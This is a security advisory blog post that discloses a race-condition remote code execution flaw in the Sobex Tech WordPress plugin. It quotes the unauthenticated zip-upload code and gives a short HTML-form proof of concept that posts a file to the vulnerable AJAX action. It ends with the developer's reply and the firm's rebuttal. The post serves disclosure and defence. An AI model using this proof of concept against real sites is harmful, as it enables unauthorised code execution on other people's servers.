Our Proactive Monitoring Caught a Remote Code Execution Vulnerability in a Brand New WordPress Plugin
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a variant of one of those vulnerabilities, a race condition/remote code execution (RCE) vulnerability in a brand new plugin, Sobex Tech. The vulnerability is in part caused by wider insecurity in the plugin and there are additional vulnerabilities in the plugin, so we would recommend avoiding the plugin unless the security is overhauled.
We now are also running all the code in the plugins used by our customers through that monitoring system on a weekly basis to provide additional protection for them.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability with several non-default options, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Race Condition/Remote Code Execution (RCE)
In the file /admin/sobex-tech-admin-ajax.php, the plugin makes various functionality available through WordPress’ AJAX system for even those not logged in to WordPress. That includes a function to “import a plugin”:
113 | add_action( "wp_ajax_nopriv_sobex_plugin_import", "sobex_plugin_import" ); |
That function will take a .zip file sent with a request and unzip it:
115 | function sobex_plugin_import() { |
175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 | if(isset($_POST)) { if(empty($_FILES["file"]["name"])) { echo sobex_import_error_toast('no_file'); exit; } if($_FILES["file"]["name"]) { $filename = sanitize_file_name($_FILES["file"]["name"]); $source = sanitize_text_field($_FILES["file"]["tmp_name"]); $type = sanitize_mime_type($_FILES["file"]["type"]); $name = explode(".", $filename); $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed'); foreach($accepted_types as $mime_type) { if($mime_type == $type) { $okay = true; break; } } $continue = strtolower($name[1]) == 'zip' ? true : false; if(!$continue) { echo sobex_import_error_toast('zip_type'); exit(); } /* PHP current path */ $path = dirname(__FILE__).'/packages/'; // absolute path to the directory where zipper.php is in $filenoext = basename ($filename, '.zip'); // absolute path to the directory where zipper.php is in (lowercase) $filenoext = basename ($filenoext, '.ZIP'); // absolute path to the directory where zipper.php is in (when uppercase) $targetdir = $path . $filenoext; // target directory $targetzip = $path . $filename; // target zip file /* create directory if not exists', otherwise overwrite */ /* target directory is same as filename without extension */ if (is_dir($targetdir)) rmdir_recursive ( $targetdir); mkdir($targetdir, 0775); /* here it is really happening */ if(move_uploaded_file($source, $targetzip)) { $zip = new ZipArchive; // create object $res = $zip->open($targetzip); // open archive |
Later in the code the directory with the unzipped files will be deleted, but before that happens an attacker could call a .php file in the directory and the code it in would run, which is referred to as a race condition.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will temporarily allow the files in a .zip file sent with a request to be placed on the website.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=sobex_plugin_import" enctype="multipart/form-data" method="POST"> <input type="file" name="file" /> <input type="submit" value="Submit" /> </form> </body>
To the moderators of Plugin Vulnerabilities
We thank you for your useful interest in the field of security in order to build a safe and stable virtual community for all programmers and users who love WordPress.
And since we strive with every effort to be among the great formation on WordPress that has competencies in the field of developers. We are very interested in the participation of professional analysts in this industry.
We noticed that you published an article on (06/14/2023) regarding the addition of Sobex Tech. We would like to seize this opportunity to provide some clarification on certain suspicious points and superficial software errors that you mentioned on your exceptional website.
– Firstly Suspicion about deleting the file after the import operation:
Allowing the deletion of the compressed file after the import process is actually quite intentional but not for the purpose of hacking and hiding the file. Rather, it is to delete the file after importing to preserve the hosting space and prevent storing files of no importance. We believe this feature sets Sobex Tech apart from many other popular and average plugins.
– Secondly Suspicion about function does not have security check
The function in the file only accepts requests from an admin, making it inherently safe. However, to further enhance security measures, we have added additional code to perform security checks as a precautionary measure.
Possible loophole:
As for exploiting this feature through an external call link, the hacker may use it as a means of attack. Although we researched this issue carefully and did not get a convincing confirmation unless it was on the same domain name, and this means that it is already inside the same platform, that is, the hacker became the administrator before he reached the Sobex Tech Plugin.
But we took advantage of what you said on the grounds that it is an inevitable loophole that may cause damage, and we confirm very clearly, this matter was dealt with as a loophole and the problem was completely removed.
In the end, we are pleased that we have professionals on our side who help develop our work, and we welcome every suggestion and criticism, whatever its form. And we ask you for continuous and constructive help and cooperation.
We kindly request your continuous and constructive help and cooperation. If you have published any article or feel the desire to communicate with us to explain a possible suspicion or loophole, please contact us directly on the Sobex Tech website:
https://www.sobextech.com/contact-us
Best wishes,
Supervisor.
We never said the deleting of the file was suspicious. The vulnerability involves what happens before that.
As we detailed in our post, the code was accessible to even those not logged in in to WordPress, so the claim that the “function in the file only accepts requests from an admin” doesn’t match the code.
Also, restricting access to Administrators doesn’t make something inherently safe, as there is still the issue of cross-site request forgery (CSRF).